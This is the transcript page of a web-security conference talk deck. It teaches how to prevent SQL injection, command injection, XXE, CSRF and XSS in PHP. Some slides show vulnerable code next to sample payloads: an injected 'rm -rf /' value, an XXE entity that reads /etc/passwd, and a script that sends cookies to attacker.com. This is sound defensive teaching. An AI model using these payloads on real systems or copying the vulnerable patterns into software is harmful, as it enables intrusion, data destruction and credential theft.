Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Proactive web security

Proactive web security

Keeping your web application secure and free from vulnerabilities is hard work, even if you know the OWASP Top 10. In this talk I will show tools, best practices and patterns to help you with this, so that you can find security issues before an attacker does and even prevent them in the first place.

Bastian Hofmann

January 27, 2018

Transcript

294 slides
  1. …

  2. $ nmap scanme.nmap.org Starting Nmap 7.60 … Not shown: 994

    closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 9929/tcp open nping-echo https://nmap.org/
  3. <?php $userId = $_GET[‘userId’]; $sql = ‘SELECT * FROM users

    WHERE id =‘ . $userId; $mysqli->query($sql);
  4. <?php // 12 OR TRUE $userId = $_GET[‘userId’]; $sql =

    ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
  5. <?php $userId = (int) $_GET[‘userId’]; $sql = ‘SELECT * FROM

    users WHERE id =‘ . $userId; $mysqli->query($sql);
  6. <?php $name = $_GET[‘name’]; $name = $mysqli->real_escape_string($name); $sql = ‘SELECT

    * FROM users WHERE name = ’ . $name; $mysqli->query($sql);
  7. <?php $userId = (int) $_GET[‘userId’]; $rsm = new ResultSetMapping(); $query

    = $entityManager->createNativeQuery( 'SELECT * FROM users WHERE userId = ?', $rsm ); $query->setParameter(1, $userId); $users = $query->getResult();
  8. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', //

    6&admin=true 'https://api.com/path/?id=' . $_GET[‘id'] );
  9. <?php // foo.log && rm -rf / $logFile = $_GET['logFile'];

    passthru( 'cat ' . __DIR__ . '/' . $logFile );
  10. <?php $logFile = $_GET['logFile']; if (!preg_match('/^[a-z]+\.log$/', $logFile) { throw new

    \Exception('Invalid file name'); } passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
  11. <?php $logFile = $_GET['logFile']; $file = realpath(__DIR__ . '/' .

    $logFile); if (dirname($file) !== __DIR__) { throw \Exception('Invalid file'); } passthru( 'cat ' . escapeshellarg( $file ) );
  12. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY >

    <!ENTITY xxe SYSTEM "file:///etc/ passwd" >]><foo>&xxe;</foo>
  13. •Forbid usage of functions •Ensure that only static strings without

    variables are passed as arguments •Ensure that controllers implement access control •…
  14. PHP

  15. OS

  16. …

  17. localhost (centos7.3.1611) ========================== Total: 109 (High:35 Medium:55 Low:16 ?:3) 31

    updatable packages CVE-2015-2806 10.0 HIGH (nvd) Stack-based buffer overflow in asn1_der_decoding in libtasn1 before 4.4 allows remote attackers to have unspecified impact via unknown vectors.
  18. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next-header TCP (6) payload

    length: 549) muc11s14-in-x0e.1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b.60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack 75, win 106, options [nop,nop,TS val 2632812618 ecr 335746159], length 517: HTTP, length: 517 HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Location: http://www.google.de/?gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ Content-Length: 268 Date: Fri, 12 Jan 2018 13:06:40 GMT <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.de/? gfe_rd=cr&amp;dcr=0&amp;ei=4LJYWo6FFKiF8Qe9w63gAQ">here</A>. </BODY></HTML>
  19. TLS

  20. $ curl -I http://www.researchgate.net HTTP/1.1 301 Moved Permanently Content-Length: 178

    Content-Type: text/html Date: Fri, 12 Jan 2018 13:02:35 GMT Location: https://www.researchgate.net/ Server: nginx Connection: keep-alive
  21. “Less then 10 percent of all google users use Two-Factor-

    Authentication” http://uk.pcmag.com/news/92919/most-google-accounts- dont-use-two-factor-authentication
  22. <?php $plaintext = $sessionId . '/' . $userId . '/'

    . time(); $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $token = base64_encode($nonce . sodium_crypto_secretbox($plaintext, $nonce, $key));
  23. <?php $token = $_POST['csrf_token']; $nonce = substr($token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $crypt

    = substr($token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $plaintext = sodium_crypto_secretbox_open($crypt, $nonce, $key); [$sessionId, $userId, $time] = explode('/', $plaintext); if ( $sessionId !== session_id() || $userId !== $_SESSION['userId'] || time() - $time > 7200 ) { throw \Exception('Invalid csrf token'); }
  24. Because of the Cross Origin Policy an attacker can not

    get hold of a matching CSRF token
  25. <html> <body> <div> User generated comment <script> fetch( 'http://attacker.com/?cookies=' +

    document.cookie ) </script> that comes from database </div> </body> </html>
  26. {% autoescape "html" %} <html> <body> <div> {{ comment }}

    </div> </body> </html> {% endautoescape %}
  27. $expire = 0; $path = ''; $domain = ''; $secure

    = true; $httpOnly = true; setcookie( 'sessionId', '...', $expire, $path, $domain, $secure, $httpOnly );
  28. <script> if ( typeof console === 'object' && console.log )

    { console.log( '%cWARNING!', 'color:white; background:red;' ); ... } </script>

More Decks by Bastian Hofmann

Other Decks in Programming